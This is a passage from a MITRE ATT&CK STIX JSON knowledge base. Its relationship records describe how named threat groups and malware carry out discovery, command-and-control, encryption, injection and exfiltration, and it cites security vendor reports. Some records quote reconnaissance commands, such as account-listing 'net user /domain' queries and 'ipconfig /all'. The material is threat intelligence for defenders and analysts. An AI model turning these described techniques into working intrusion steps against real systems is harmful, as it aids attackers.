2022)","modified":"2022-08-24T20:01:25.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39c98d86-3f44-4a47-b7e5-4cb3e4bf97a7","type":"relationship","created":"2021-02-11T17:32:31.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2021-02-11T17:32:31.984Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect installed software on targeted systems.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39ce32d3-7721-4008-b74d-3549b7bb8fa7","type":"relationship","created":"2020-03-18T20:18:02.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-18T20:18:02.094Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39cf6431-f800-4911-8434-49ce1b2874f1","type":"relationship","created":"2022-01-25T14:46:45.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T14:46:45.557Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can send additional modules over C2 encrypted with a simple substitution cipher.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39d1a7ed-2388-4611-9886-915a3604c300","created":"2019-03-11T20:01:20.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T15:27:23.748Z","description":"[Empire](https://attack.mitre.org/software/S0363) can send data gathered from a target through the command and control channel.(Citation: Github PowerShell Empire)(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39d843d6-a08f-4167-9b4a-25e36533b4be","created":"2024-08-14T14:16:03.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T18:27:20.130Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors added the `ApplicationImpersonation` management role to accounts under their control to impersonate users and take ownership of targeted mailboxes.(Citation: Microsoft Albanian Government Attacks September 2022)\n","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39da4f4e-e382-4db0-8184-cff27532173f","created":"2021-01-22T18:38:21.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.419Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used HTTPS for C2 communications.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--39e0a84e-24de-4b0f-a0e4-3a821b8f963a","created":"2022-08-09T16:53:07.502Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has decrypted files and payloads using a XOR-based algorithm.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T21:11:33.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39e6a7c0-5eb8-49fe-aec7-9ae9fe70723a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.816Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:59.411Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c ipconfig /all.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39f3e098-ca5d-4dc4-9cbb-bc29148def30","type":"relationship","created":"2019-01-29T17:59:44.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.239Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) checks for running processes on the victim’s machine.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39f5d465-832e-4de8-9738-0879803e2b1c","type":"relationship","created":"2021-01-13T21:09:53.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T21:54:18.256Z","description":"Following the successful injection of [SUNBURST](https://attack.mitre.org/software/S0559), [SUNSPOT](https://attack.mitre.org/software/S0562) deleted a temporary file it created named InventoryManager.bk after restoring the original SolarWinds Orion source code to the software library.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39f8de6f-9df3-4e6b-9076-bd3464a2d5d2","created":"2023-10-04T15:07:23.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:38:51.382Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can obtain the `DATETIME` and `UPTIME` from a compromised machine.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2022-02-07T16:27:08.290Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used multiple proxies to obfuscate network traffic from victims.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a01d374-1a49-4443-b7b5-453ebe5671ea","type":"relationship","created":"2020-11-23T22:19:46.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.853Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has used batch files to initiate additional downloads of malicious files.(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a040d38-be65-49b4-a41a-3fd010f3ea9a","type":"relationship","created":"2020-05-06T21:31:07.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.305Z","description":"[Okrum](https://attack.mitre.org/software/S0439) uses HTTP for communication with its C2.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a05b5c4-3810-4f0e-925e-04f02a6da511","created":"2024-03-25T21:20:01.799Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:20:01.799Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerate and exfiltrate code-signing certificates from a compromised host.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a062b27-636e-4164-9156-65631d140765","created":"2024-03-01T17:27:56.529Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:27:56.529Z","description":"Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a065510-e719-4048-aec2-99db1cae1f79","created":"2024-09-16T08:50:40.197Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:50:40.197Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) restores the `.text` section of compromised DLLs after malicious code is loaded into memory and before the file is closed.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a0c38e8-c174-4c86-a229-fcb4965ce311","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T15:42:34.380Z","description":"[Socksbot](https://attack.mitre.org/software/S0273) creates a suspended svchost process and injects its DLL into it.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a0c8e81-6110-4cf3-a965-b700e00fd66c","type":"relationship","created":"2019-10-07T19:05:49.030Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Apr 2019","url":"https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/","description":"Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."}],"modified":"2021-02-09T14:02:09.331Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1059/001)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a11bfd9-1c27-4f54-926d-883cfa9b69cd","created":"2023-03-26T20:23:35.007Z","revoked":false,"external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:23:35.007Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can install and store encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a11eb81-545a-4153-8c3b-feb47db1f288","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.564Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) encrypts C2 traffic using an XOR/ADD cipher.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a1883a0-8626-4cf0-8e0f-19bf9cf39a30","created":"2019-04-17T13:46:38.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.411Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) encodes data using Base64 before sending it to the C2 server. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a1ee04f-672a-4fc6-80fe-40feb5472625","created":"2024-08-09T17:47:15.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:47:31.264Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can extract RC4 encrypted embedded payloads for privilege escalation.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a200957-9a8b-407e-a23f-cea1ef8236e6","type":"relationship","created":"2020-12-23T12:48:28.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-23T12:48:28.394Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has used a legitimate web service for evading detection.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a20bdab-0c73-49be-a8b5-630787814773","type":"relationship","created":"2020-06-30T00:39:39.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.951Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used 